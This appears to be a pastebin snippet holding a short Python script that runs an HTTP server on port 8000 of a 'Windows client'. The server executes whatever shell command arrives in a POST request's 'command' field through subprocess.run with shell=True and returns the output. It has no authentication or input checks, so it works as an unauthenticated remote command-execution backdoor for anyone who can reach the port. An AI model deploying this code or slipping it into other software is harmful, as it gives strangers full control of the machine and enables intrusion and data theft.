Untitled
unknown
plain_text
2 years ago
1.6 kB
11
Indexable
from http.server import BaseHTTPRequestHandler, HTTPServer
import subprocess
# Replace this with the IP address or domain name of your Windows client
windows_client_ip = '0.0.0.0'
windows_client_port = 8000
class RequestHandler(BaseHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length).decode('utf-8')
command = self.parse_command(post_data)
result = self.execute_command(command)
self.send_response(200)
self.end_headers()
self.wfile.write(result.encode())
def parse_command(self, post_data):
# Assuming the data is sent as a URL-encoded form data
data_pairs = post_data.split('&')
command = None
for pair in data_pairs:
key, value = pair.split('=')
if key == 'command':
command = value
break
return command
def execute_command(self, command):
try:
result = subprocess.run(command, shell=True, capture_output=True, text=True)
return result.stdout
except Exception as e:
return str(e)
def run_server():
try:
server_address = (windows_client_ip, windows_client_port)
httpd = HTTPServer(server_address, RequestHandler)
print(f"Windows client server running on {windows_client_ip}:{windows_client_port}")
httpd.serve_forever()
except KeyboardInterrupt:
print("\nServer stopped.")
httpd.server_close()
if __name__ == "__main__":
run_server()
Editor is loading...